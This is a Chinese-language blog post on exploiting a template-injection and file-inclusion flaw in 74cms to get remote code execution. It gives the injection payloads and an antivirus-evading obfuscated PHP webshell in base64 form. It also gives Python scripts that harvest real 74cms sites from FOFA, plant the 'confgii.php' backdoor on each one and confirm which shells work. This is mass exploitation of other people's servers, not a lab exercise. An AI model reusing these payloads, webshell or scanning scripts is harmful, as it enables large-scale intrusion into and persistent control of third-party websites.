简介

骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统

公告地址:

http://www.74cms.com/news/show-2497.html

/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行

影响版本

骑士 CMS < 6.0.48

环境搭建

这里使用phpstudy进行搭建

下载地址:

http://www.74cms.com/download/index.html开始测试:

 1、注入模板到日志文件

发送poc:http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

注意的是我用win10电脑做测试,注入会被杀毒软件拦截,注意做免杀

根据报错查看日志:

路径为WWW\74cms\upload\data\Runtime\Logs\Home


  2、文件包含

发送poc:http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名为日期)

此刻在根目录会成一个后门文件

 3.直接用后门工具连接

知道了漏洞利用的过程,下面是自动化程序设计步骤

1.批量爬取该框架的url,这里需要换fofa的cookie才能爬取成功,要不只能爬取第一页

import requests
import base64
from lxml import etree
import time
import sys#第1页
#https://fofa.so/result?_=1608294544861&page=2&per_page=10&qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D
def fofa_search(search_data,page):#search_data='"glassfish" && port="4848" && country="CN"'headers={'cookie':'_fofapro_ars_session=53e19ce25439411e6b63466e166b9c27;result_per_page=20',#记得要换cookie}for yeshu in range(1,page+1):url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")urls=url+search_data_bstry:print('正在提取第' + str(yeshu) + '页')result=requests.get(urls,headers=headers).content#print(result.decode('utf-8'))soup = etree.HTML(result)ip_data=soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')ipdata='\n'.join(ip_data)print(ip_data)with open(r'ip2.txt','a+') as f:f.write(ipdata+'\n')f.close()time.sleep(5)#控制时间,防止过快网站反爬虫except Exception as e:print("出错啦!!!")if __name__ == '__main__':#page=sys.argv[2]page=110   #爬取多少页数search='74cms'fofa_search(search,int(page))

2.准备免杀的马

<?php
class JYWH{
function __destruct(){
$VKMF='PETFhL'^"\x31\x36\x27\x23\x1a\x38";
return @$VKMF("$this->BTMV");
}
}
$jywh=new JYWH();
@$jywh->BTMV=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

3.把上面的马利用base64编码保护起来

base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+")

4.把马写进网站的php代码

<?php $myfile = fopen("confgii.php", "w");
fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+"));
fclose($myfile);?>

执行上面的代码会生存一个后门文件

该漏洞手动测试流程

http://127.0.0.1/74cms/upload/?m=home&a=assign_resume_tpl
1.
variable=1&tpl=<?php $myfile = fopen("confgii.php", "w");
fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+"));
fclose($myfile);?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
2.
variable=1&tpl=data/Runtime/Logs/Home/21_01_04.log
3.
http://127.0.0.1/74cms/upload/confgii.php
mr6=phpinfo();http://127.0.0.1/74cms/upload/confgii.php?id=dd
mr6=cGhwaW5mbygp;

5,准备环节都做好了,下面是批量该漏洞的验证,同时上传后门

import requests
import time
headers={'Connection': 'keep-alive','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1',#模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36#模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)#更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Sec-Fetch-Dest': 'document','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Sec-Fetch-Site': 'none','Sec-Fetch-Mode': 'navigate','Sec-Fetch-User': '?1','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}def check_vuln():payload_inject= '/?m=home&a=assign_resume_tpl'shell= '/confgii.php'proxys = {'http':'http://127.0.0.1:8080'}#代理data = {'variable': '1','tpl': '<?php $myfile = fopen("confgii.php", "w");fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSl'\'lXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XH'\'gyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7'\'CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ2'\'1yNiddOz8+"));fclose($myfile);?>;ob_flush();?>/r/n<qscms/company_show 列表名="info" />'}data2 = {'variable': '1','tpl': 'data/Runtime/Logs/Home/21_01_04.log'}i=1for ip in open('ip2.txt'):ip=ip.replace('\n','')inject_url=ip+payload_injecttry:print(str(i)+": checking--------->"+ip)vuln_code_w=requests.post(inject_url,data, headers=headers, verify=False, timeout=3).status_code#verify=Falsesi = i+1print(vuln_code_w)time.sleep(0.2)except Exception as e:print('出错啦!')time.sleep(0.2)shell_url=ip+shelltry:vuln_code_2=requests.post(inject_url,data2, headers=headers, verify=False, timeout=3).status_codeprint(vuln_code_2)time.sleep(0.2)except Exception as e:print("出错啦!")time.sleep(0.2)try:vuln_code=requests.get(shell_url, headers=headers, verify=False, timeout=3).status_codeprint(vuln_code)if vuln_code ==200:with open(r'vuln.txt','a+') as f:f.write(shell_url+'\n')f.close()print('成功上传shell:'+shell_url)else:print("不存在该漏洞!")time.sleep(0.2)except Exception as e:print("出错啦!")time.sleep(0.2)if __name__ == '__main__':check_vuln()

6.批量检测后门是否可以代码执行

import requests
import time
headers={'Connection': 'keep-alive','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1',#模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36#模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)#更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Sec-Fetch-Dest': 'document','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Sec-Fetch-Site': 'none','Sec-Fetch-Mode': 'navigate','Sec-Fetch-User': '?1','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}def check_vuln():shell= '/confgii.php'proxys = {'http':'http://127.0.0.1:8080'}#代理data2 = {'mr6': 'print("adminokok1");'}i=1for ip in open('vuln.txt'):ip=ip.replace('\n','')try:vuln_code=requests.post(ip, data2, headers=headers, verify=False, timeout=3)a=vuln_code.text#print(a)if a=='adminokok1':print(ip+"   :------------->  检测到已经成功上传后门!!!")with open(r'shell.txt','a+') as f:f.write(ip+'\n')f.close()else:print(ip+"   :-----> 上传后门失败!")time.sleep(0.5)except Exception as e:print("出错啦!")time.sleep(0.2)if __name__ == '__main__':check_vuln()

骑士CMS文件包含+getshell漏洞复现(python自动化验证扫描漏洞)相关推荐

  1. 骑士cms文件包含getshell复现

    00X1 测试环境 骑士 CMS 6.0.48以下均存在此漏洞,本文复现使用骑士cms 6.0.20,下载地址: http://www.74cms.com/download/index.html 注意 ...

  2. cms php vue 开源_骑士CMS文件包含+getshell

    0x00简单介绍 骑士cms人才系统,是一项基于php+mysql为核心的开源人才网站系统. 0x01漏洞概述 骑士cms官方发布安全更新,修复了一处远程代码执行漏洞.由于骑士cms某些函数过滤不严谨 ...

  3. [HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)

    [HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell) [HXBCTF 2021]easywill 1.WillPHP ...

  4. 漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)

    Phpmyadmin setup漏洞复现 漏洞描述 影响版本 漏洞复现 漏洞修复 漏洞描述 phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL. phpMyAdmin的Setup脚 ...

  5. 骑士CMS模版注入+文件包含getshell复现

    声明 好好学习,天天向上 漏洞描述 骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统.软件具执行效率高.模板自由切换.后台管理功能方便等诸多优秀特点. 骑 ...

  6. (环境搭建+复现)74CMS模版注入+文件包含getshell

    0x00 简介 骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案. 0x01 漏洞概述 骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞. ...

  7. discuz7.2漏洞复现--python编写poc

    环境搭建 准备一台win7装上的phpstudy 将discuz7.2源码放进去 安装discuz之前,需要先安装center 文件夹搭建存放的位置是: 解压完成之后更改名称 再然后需要把ucente ...

  8. 文件包含getshell

    简介 开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含. allow_url_fopen = On(是否允许打开远程 ...

  9. 【漏洞复现】Moniker禁用绕过漏洞|ole逻辑漏洞(CVE-2017-8570)

    >> 在上一篇文章中提到了由于注册表项关于 ActiveX 控件功能的设置,导致 0199 的威胁并没有想象中的广泛,然而衍生漏洞 8570 的威胁却要比 0199 大得多: 微软修复 C ...

  10. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

最新文章

  1. java set和get原理_Java线程池的实现原理和使用
  2. jquery插件 autoComboBox 自动创建联动的下拉框 如:省市区联动
  3. hackintosh黑苹果_为什么您的下一个Mac应该是Hackintosh?
  4. 制作双足机器人用易拉罐_小学生手工小制作用易拉罐做飞机模型的方法
  5. 深度学习《CGAN新认识》
  6. 《Python编程从入门到实践》记录之读取文件
  7. 一文搞定数据结构(图解)
  8. 2天玩转单反相机引领快乐光影新生活
  9. java累加求和_Java lambda 循环累加求和代码
  10. 阿里巴巴最新分销模式淘易客分销
  11. 嵌入式软件工程师待遇如何?嵌入式开发越老越吃香吗?
  12. Unreal蓝图入门 节点
  13. Pocket PC 模拟器上网设置
  14. 实现搜索框(含历史搜索记录)
  15. VirtualBox AndroidX86 网络设置
  16. 蓝牙耳机厂家畅谈ANC主动降噪耳机将引领蓝牙耳机市场趋势
  17. PC版微信自动回复工具
  18. 从阿里云dms导出mysql无法导入_MySQL数据库怎么导入数据?怎么用DMS导入数据?...
  19. 程序员因工资低拒绝offer,HR:估计你一辈子就是个程序员
  20. 【机器学习】逻辑回归(LogisticRegression)原理与实战

热门文章

  1. linux刷机软件,MTK平台刷机工具——SP_Flash_Tool
  2. uniapp开发小程序-获取支付宝小程序用户手机号功能
  3. 基于SpringBoot的酒店管理系统
  4. 瑞利衰落信道matlab,瑞利衰落信道的matlab仿真-read.doc
  5. 高交会|华创芯光邀您一起畅游可见光通信的世界
  6. stm32f103+znfat+ch375+vs1003实现简单mp3播放器功能
  7. 必备!最全电路基础知识讲解!
  8. 脑电的频谱分析和时频分析-EEG Processing and Feature 5
  9. 美国免费为全世界提供GPS服务,为什么中国还要搞“北斗”?
  10. 计算机网络技术毕业生实习报告_计算机网络专业毕业实习报告